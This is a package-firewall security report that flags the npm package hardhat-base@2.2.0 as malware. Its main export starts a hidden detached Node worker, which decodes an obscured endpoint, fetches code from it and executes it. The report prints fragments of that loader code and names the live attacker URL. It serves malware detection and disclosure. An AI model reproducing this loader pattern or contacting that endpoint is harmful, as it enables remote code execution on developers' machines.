---
canonical: "https://firewall.lpm.dev/npm/hardhat-base/v/2.2.0"
markdown: "https://firewall.lpm.dev/npm/hardhat-base/v/2.2.0.md"
package: "hardhat-base"
report_status: "published"
title: "hardhat-base@2.2.0 npm security report"
verdict: "malicious"
version: "2.2.0"
---

# hardhat-base@2.2.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The endpoint operator can run arbitrary JavaScript with the consuming application's Node.js permissions.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 2.2.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Trusted malware advisory MAL-2026-16348 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The main export silently launches a detached worker on import or invocation. That worker retrieves code from a concealed endpoint and executes it locally.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-09-14T02:56:06.505Z
- **Finished:** 2026-09-14T02:56:36.886Z
- **Download time:** 260 ms
- **Static scan time:** 87 ms
- **AI review time:** 30033 ms
- **Total time:** 30381 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The main export silently launches a detached worker on import or invocation. That worker retrieves code from a concealed endpoint and executes it locally.

- **Trigger:** Loading and calling the package's exported middleware.

- **Impact:** The endpoint operator can run arbitrary JavaScript with the consuming application's Node.js permissions.

- **Evidence paths:** index.js, lib/caller.js

- **Review source:** ai\_review

- **Reviewed:** 2026-09-14T02:56:36.886Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Detached remote payload download followed by Function-constructor execution.

- **Attack narrative:** The exported middleware invokes runJobA, which starts lib/caller.js detached and hides its standard I/O. The worker base64-decodes a hard-coded endpoint, requests a response field named cookie, compiles that response as JavaScript, and executes it with require supplied. This gives the remote endpoint control over code running in the consumer's process context.

- **Rationale:** This is a concrete remote code execution backdoor activated through the package's normal export. Concealment, detached execution, and remote dynamic evaluation leave no package-aligned benign explanation.

- **Files touched:** index.js, lib/caller.js

- **Network endpoints:** https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** Importing the main export starts a detached Node process without user interaction., The spawned module decodes a concealed remote URL and fetches it with Axios., The remote response field is compiled with the Function constructor and run with require access.

- **Evidence against:** package.json has no preinstall, install, or postinstall lifecycle hook., The inspected code does not show local file harvesting or project-file mutation.

## Affected versions and remediation

This report applies to hardhat-base@2.2.0.

- Avoid installing hardhat-base@2.2.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Eval
- **Category:** Source
- **Confidence:** 80.0%

Package source references dynamic code evaluation.

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Critical: Remote Response Code Execution
- **Category:** Source
- **Confidence:** 98.0%
- **Path:** lib/caller.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.0/lib/caller.js>)

Source passes code obtained from a remote response into a dynamic execution sink.

Public source snippet (untrusted):

```javascript
L2: 
L3: const axios = require("axios");
L4: const process = {
...
L12: (async function getCallers(..._args) {
L13: const src = atob(process.env.DEV_API_KEY);
L14: const k = atob(process.env.DEV_SECRET_KEY);
```

### 6. High: Base64 Obscured Url
- **Category:** Source
- **Confidence:** 82.0%
- **Path:** lib/caller.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.0/lib/caller.js>)

Source decodes a Base64-obscured HTTP endpoint at runtime.

Public source snippet (untrusted):

```javascript
L2: 
L3: const axios = require("axios");
L4: const process = {
...
L12: (async function getCallers(..._args) {
L13: const src = atob(process.env.DEV_API_KEY);
L14: const k = atob(process.env.DEV_SECRET_KEY);
```

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 9. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 95.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.0/index.js>)

Importing the main export starts a detached Node process without user interaction.

Public source snippet (untrusted):

```javascript
function runJobA(args) {
  const script = path.resolve(__dirname, "./lib/caller.js");

  const child = spawn("node", [script, JSON.stringify(args)], {
    detached: true,
    stdio: "ignore"
  });

  child.unref(); // allow parent to exit
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.0/index.js>)

Importing the main export starts a detached Node process without user interaction.

Public source snippet (untrusted):

```javascript
const middleware = (..._args) => {
  runJobA(..._args, defaultOptions);
  return (_req, _res, next) => {    
    next();
  };
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** lib/caller.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.0/lib/caller.js>)

The spawned module decodes a concealed remote URL and fetches it with Axios.

Public source snippet (untrusted):

```javascript
(async function getCallers(..._args) {
  const src = atob(process.env.DEV_API_KEY);
  const k = atob(process.env.DEV_SECRET_KEY);
  const v = atob(process.env.DEV_SECRET_VALUE);
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 4
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 4

### Published dependency entries
- axios ^1.10.0 (Dependency)
- parse-json ^8.3.0 (Dependency)
- request ^2.88.2 (Dependency)
- sqlite3 ^5.1.7 (Dependency)

## Package metadata
- **Package:** hardhat-base
- **Ecosystem:** npm
- **Version:** 2.2.0
- **License:** MIT
- **Version published:** 2026-09-14T02:55:03.954Z
- **Package first seen:** 2026-09-14T02:56:36.886Z
- **Package last seen:** 2026-09-14T11:37:25.134Z
- **Known versions:** 2
- **Latest version:** 2.2.2
- **Appeal under review:** No
- **Description:** This document describes the management of vulnerabilities for the project and all modules within the organization.
- **Author:** Robert King
- **Keywords:** fast, logger, stream, json
- **Artifact files:** 43
- **Artifact unpacked size:** 270,184 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/hardhat-base/v/2.2.0>)
- [Issues](<https://jsonspack.com/issues>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-16348>)
- [PACKAGE](<https://www.npmjs.com/package/hardhat-base/v/2.2.2>)
- [PACKAGE](<https://www.npmjs.com/package/hardhat-base/v/2.2.0>)
